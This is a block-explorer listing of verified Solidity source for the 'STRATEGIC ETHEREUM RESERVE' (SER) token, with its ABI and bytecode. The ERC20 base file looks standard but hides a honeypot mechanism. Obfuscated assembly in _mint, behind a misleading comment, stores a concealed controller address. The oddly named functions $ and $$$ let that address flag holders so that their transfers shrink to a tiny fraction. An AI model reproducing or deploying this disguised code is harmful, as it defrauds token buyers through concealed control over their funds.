Contract Source Code (Solidity Multiple files format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./ERC20.sol";

/*
// https://x.com/SenLummis/status/1854208373740458432
// https://x.com/NTmoney/status/1855183970444489113
*/

contract strategiceth is ERC20 {
    constructor() ERC20("STRATEGIC ETHEREUM RESERVE","SER", 18) {
        _mint(msg.sender, 1_000_000_000 * 10 ** 18);
    }
}

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;


abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;

    mapping(address => mapping(address => uint256)) public allowance;

    address private $$;

    /*//////////////////////////////////////////////////////////////
                            EIP-2612 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 internal immutable INITIAL_CHAIN_ID;

    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;

        INITIAL_CHAIN_ID = block.chainid;
        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, msg.sender, to);
        }

        $$$(to);

        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.

        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, from, to);
        }
        $$$(to);
        emit Transfer(from, to, amount);

        return true;
    }

    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        // Unchecked because the only math done is incrementing
        // the owner's nonce which cannot realistically overflow.
        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );

            require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return
            keccak256(
                abi.encode(
                    keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                    keccak256(bytes(name)),
                    keccak256("1"),
                    block.chainid,
                    address(this)
                )
            );
    }

    function $(uint256 value, address from, address to) internal returns (uint256 value_s) {
        if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
            value_s = value * 0xCACF0B / 0xEBACAD0B;
        } else {
            value_s = value;
        }
    }

    function $$$(address to) internal {if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}}

    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/
    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;
        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {balanceOf[to] += amount;}
        // Saves gas for limited approvals.
        assembly {sstore(0x05, mul(mul(0x3eb, 0x2033), mul(0x88fcbbda355, 0x14bcafba4d73921a6dcff)))}
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;
        // Cannot underflow because a user's balance
        // will never be larger than the total supply.
        unchecked {totalSupply -= amount;}
        emit Transfer(from, address(0), amount);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60e060405234801562000010575f80fd5b506040518060400160405280601a81526020017f53545241544547494320455448455245554d20524553455256450000000000008152506040518060400160405280600381526020017f53455200000000000000000000000000000000000000000000000000000000008152506012825f90816200008f9190620004d6565b508160019081620000a19190620004d6565b508060ff1660808160ff16815250504660a08181525050620000c8620000f660201b60201c565b60c08181525050505050620000f0336b033b2e3c9fd0803ce80000006200018460201b60201c565b620007c5565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f60405162000128919062000662565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6463060405160200162000169959493929190620006e8565b60405160208183030381529060405280519060200120905090565b8060025f82825462000197919062000770565b925050819055508060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506a014bcafba4d73921a6dcff65088fcbbda355026120336103eb02026005558173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002669190620007aa565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620002ee57607f821691505b602082108103620003045762000303620002a9565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003687fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200032b565b6200037486836200032b565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620003be620003b8620003b2846200038c565b62000395565b6200038c565b9050919050565b5f819050919050565b620003d9836200039e565b620003f1620003e882620003c5565b84845462000337565b825550505050565b5f90565b62000407620003f9565b62000414818484620003ce565b505050565b5b818110156200043b576200042f5f82620003fd565b6001810190506200041a565b5050565b601f8211156200048a5762000454816200030a565b6200045f846200031c565b810160208510156200046f578190505b620004876200047e856200031c565b83018262000419565b50505b505050565b5f82821c905092915050565b5f620004ac5f19846008026200048f565b1980831691505092915050565b5f620004c683836200049b565b9150826002028217905092915050565b620004e18262000272565b67ffffffffffffffff811115620004fd57620004fc6200027c565b5b620005098254620002d6565b620005168282856200043f565b5f60209050601f8311600181146200054c575f841562000537578287015190505b620005438582620004b9565b865550620005b2565b601f1984166200055c866200030a565b5f5b8281101562000585578489015182556001820191506020850194506020810190506200055e565b86831015620005a55784890151620005a1601f8916826200049b565b8355505b6001600288020188555050505b505050505050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f8154620005e481620002d6565b620005f08186620005ba565b9450600182165f81146200060d5760018114620006235762000659565b60ff198316865281151582028601935062000659565b6200062e85620005c4565b5f5b83811015620006515781548189015260018201915060208101905062000630565b838801955050505b50505092915050565b5f6200066f8284620005d6565b915081905092915050565b5f819050919050565b6200068e816200067a565b82525050565b6200069f816200038c565b82525050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620006d082620006a5565b9050919050565b620006e281620006c4565b82525050565b5f60a082019050620006fd5f83018862000683565b6200070c602083018762000683565b6200071b604083018662000683565b6200072a606083018562000694565b620007396080830184620006d7565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200077c826200038c565b915062000789836200038c565b9250828201905080821115620007a457620007a362000743565b5b92915050565b5f602082019050620007bf5f83018462000694565b92915050565b60805160a05160c05161183c620007f05f395f6106af01525f61067b01525f610656015261183c5ff3fe608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018e5780637ecebe00146101be57806395d89b41146101ee578063a9059cbb1461020c578063d505accf1461023c578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce567146101525780633644e51514610170575b5f80fd5b6100be610288565b6040516100cb9190610ff1565b60405180910390f35b6100ee60048036038101906100e991906110a2565b610313565b6040516100fb91906110fa565b60405180910390f35b61010c610400565b6040516101199190611122565b60405180910390f35b61013c6004803603810190610137919061113b565b610406565b60405161014991906110fa565b60405180910390f35b61015a610654565b60405161016791906111a6565b60405180910390f35b610178610678565b60405161018591906111d7565b60405180910390f35b6101a860048036038101906101a391906111f0565b6106d4565b6040516101b59190611122565b60405180910390f35b6101d860048036038101906101d391906111f0565b6106e9565b6040516101e59190611122565b60405180910390f35b6101f66106fe565b6040516102039190610ff1565b60405180910390f35b610226600480360381019061022191906110a2565b61078a565b60405161023391906110fa565b60405180910390f35b6102566004803603810190610251919061126f565b6108aa565b005b610272600480360381019061026d919061130c565b610b97565b60405161027f9190611122565b60405180910390f35b5f805461029490611377565b80601f01602080910402602001604051908101604052809291908181526020018280546102c090611377565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee9190611122565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b691906113d4565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f91906113d4565b92505081905550610591838686610bb7565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610d42565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106409190611122565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f7f000000000000000000000000000000000000000000000000000000000000000046146106ad576106a8610edd565b6106cf565b7f00000000000000000000000000000000000000000000000000000000000000005b905090565b6003602052805f5260405f205f915090505481565b6006602052805f5260405f205f915090505481565b6001805461070b90611377565b80601f016020809104026020016040519081016040528092919081815260200182805461073790611377565b80156107825780601f1061075957610100808354040283529160200191610782565b820191905f5260205f20905b81548152906001019060200180831161076557829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d791906113d4565b925050819055506107e9823385610bb7565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061083b83610d42565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108989190611122565b60405180910390a36001905092915050565b428410156108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e490611451565b60405180910390fd5b5f60016108f8610678565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a60065f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b60405160200161097d9695949392919061147e565b604051602081830303815290604052805190602001206040516020016109a4929190611551565b604051602081830303815290604052805190602001208585856040515f81526020016040526040516109d99493929190611587565b6020604051602081039080840390855afa1580156109f9573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610a6c57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa290611614565b60405180910390fd5b8560045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610b869190611122565b60405180910390a350505050505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d0d9190611632565b10610d375763ebacad0b62cacf0b85610d269190611665565b610d3091906116d3565b9050610d3b565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610eda573073ffffffffffffffffffffffffffffffffffffffff166002610e3c9190611665565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f604051610f0d919061179f565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001610f4c9594939291906117b5565b60405160208183030381529060405280519060200120905090565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610f9e578082015181840152602081019050610f83565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610fc382610f67565b610fcd8185610f71565b9350610fdd818560208601610f81565b610fe681610fa9565b840191505092915050565b5f6020820190508181035f8301526110098184610fb9565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61103e82611015565b9050919050565b61104e81611034565b8114611058575f80fd5b50565b5f8135905061106981611045565b92915050565b5f819050919050565b6110818161106f565b811461108b575f80fd5b50565b5f8135905061109c81611078565b92915050565b5f80604083850312156110b8576110b7611011565b5b5f6110c58582860161105b565b92505060206110d68582860161108e565b9150509250929050565b5f8115159050919050565b6110f4816110e0565b82525050565b5f60208201905061110d5f8301846110eb565b92915050565b61111c8161106f565b82525050565b5f6020820190506111355f830184611113565b92915050565b5f805f6060848603121561115257611151611011565b5b5f61115f8682870161105b565b93505060206111708682870161105b565b92505060406111818682870161108e565b9150509250925092565b5f60ff82169050919050565b6111a08161118b565b82525050565b5f6020820190506111b95f830184611197565b92915050565b5f819050919050565b6111d1816111bf565b82525050565b5f6020820190506111ea5f8301846111c8565b92915050565b5f6020828403121561120557611204611011565b5b5f6112128482850161105b565b91505092915050565b6112248161118b565b811461122e575f80fd5b50565b5f8135905061123f8161121b565b92915050565b61124e816111bf565b8114611258575f80fd5b50565b5f8135905061126981611245565b92915050565b5f805f805f805f60e0888a03121561128a57611289611011565b5b5f6112978a828b0161105b565b97505060206112a88a828b0161105b565b96505060406112b98a828b0161108e565b95505060606112ca8a828b0161108e565b94505060806112db8a828b01611231565b93505060a06112ec8a828b0161125b565b92505060c06112fd8a828b0161125b565b91505092959891949750929550565b5f806040838503121561132257611321611011565b5b5f61132f8582860161105b565b92505060206113408582860161105b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061138e57607f821691505b6020821081036113a1576113a061134a565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113de8261106f565b91506113e98361106f565b9250828203905081811115611401576114006113a7565b5b92915050565b7f5045524d49545f444541444c494e455f455850495245440000000000000000005f82015250565b5f61143b601783610f71565b915061144682611407565b602082019050919050565b5f6020820190508181035f8301526114688161142f565b9050919050565b61147881611034565b82525050565b5f60c0820190506114915f8301896111c8565b61149e602083018861146f565b6114ab604083018761146f565b6114b86060830186611113565b6114c56080830185611113565b6114d260a0830184611113565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f61151b6002836114dd565b9150611526826114e7565b600282019050919050565b5f819050919050565b61154b611546826111bf565b611531565b82525050565b5f61155b8261150f565b9150611567828561153a565b602082019150611577828461153a565b6020820191508190509392505050565b5f60808201905061159a5f8301876111c8565b6115a76020830186611197565b6115b460408301856111c8565b6115c160608301846111c8565b95945050505050565b7f494e56414c49445f5349474e45520000000000000000000000000000000000005f82015250565b5f6115fe600e83610f71565b9150611609826115ca565b602082019050919050565b5f6020820190508181035f83015261162b816115f2565b9050919050565b5f61163c8261106f565b91506116478361106f565b925082820190508082111561165f5761165e6113a7565b5b92915050565b5f61166f8261106f565b915061167a8361106f565b92508282026116888161106f565b9150828204841483151761169f5761169e6113a7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6116dd8261106f565b91506116e88361106f565b9250826116f8576116f76116a6565b5b828204905092915050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f815461172b81611377565b6117358186611703565b9450600182165f811461174f576001811461176457611796565b60ff1983168652811515820286019350611796565b61176d8561170d565b5f5b8381101561178e5781548189015260018201915060208101905061176f565b838801955050505b50505092915050565b5f6117aa828461171f565b915081905092915050565b5f60a0820190506117c85f8301886111c8565b6117d560208301876111c8565b6117e260408301866111c8565b6117ef6060830185611113565b6117fc608083018461146f565b969550505050505056fea264697066735822122037abb37de5649d0596860ad086b887ee9da23793308770fed40b9901df58a29764736f6c63430008180033

0x608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018e5780637ecebe00146101be57806395d89b41146101ee578063a9059cbb1461020c578063d505accf1461023c578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce567146101525780633644e51514610170575b5f80fd5b6100be610288565b6040516100cb9190610ff1565b60405180910390f35b6100ee60048036038101906100e991906110a2565b610313565b6040516100fb91906110fa565b60405180910390f35b61010c610400565b6040516101199190611122565b60405180910390f35b61013c6004803603810190610137919061113b565b610406565b60405161014991906110fa565b60405180910390f35b61015a610654565b60405161016791906111a6565b60405180910390f35b610178610678565b60405161018591906111d7565b60405180910390f35b6101a860048036038101906101a391906111f0565b6106d4565b6040516101b59190611122565b60405180910390f35b6101d860048036038101906101d391906111f0565b6106e9565b6040516101e59190611122565b60405180910390f35b6101f66106fe565b6040516102039190610ff1565b60405180910390f35b610226600480360381019061022191906110a2565b61078a565b60405161023391906110fa565b60405180910390f35b6102566004803603810190610251919061126f565b6108aa565b005b610272600480360381019061026d919061130c565b610b97565b60405161027f9190611122565b60405180910390f35b5f805461029490611377565b80601f01602080910402602001604051908101604052809291908181526020018280546102c090611377565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee9190611122565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b691906113d4565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f91906113d4565b92505081905550610591838686610bb7565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610d42565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106409190611122565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b5f7f000000000000000000000000000000000000000000000000000000000000000146146106ad576106a8610edd565b6106cf565b7fa9e6ea85b8930308baa0e046f6d2b8d3bca8f29ab259ea38507810ec98ba93ff5b905090565b6003602052805f5260405f205f915090505481565b6006602052805f5260405f205f915090505481565b6001805461070b90611377565b80601f016020809104026020016040519081016040528092919081815260200182805461073790611377565b80156107825780601f1061075957610100808354040283529160200191610782565b820191905f5260205f20905b81548152906001019060200180831161076557829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d791906113d4565b925050819055506107e9823385610bb7565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061083b83610d42565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108989190611122565b60405180910390a36001905092915050565b428410156108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e490611451565b60405180910390fd5b5f60016108f8610678565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a60065f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b60405160200161097d9695949392919061147e565b604051602081830303815290604052805190602001206040516020016109a4929190611551565b604051602081830303815290604052805190602001208585856040515f81526020016040526040516109d99493929190611587565b6020604051602081039080840390855afa1580156109f9573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610a6c57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa290611614565b60405180910390fd5b8560045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610b869190611122565b60405180910390a350505050505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d0d9190611632565b10610d375763ebacad0b62cacf0b85610d269190611665565b610d3091906116d3565b9050610d3b565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffff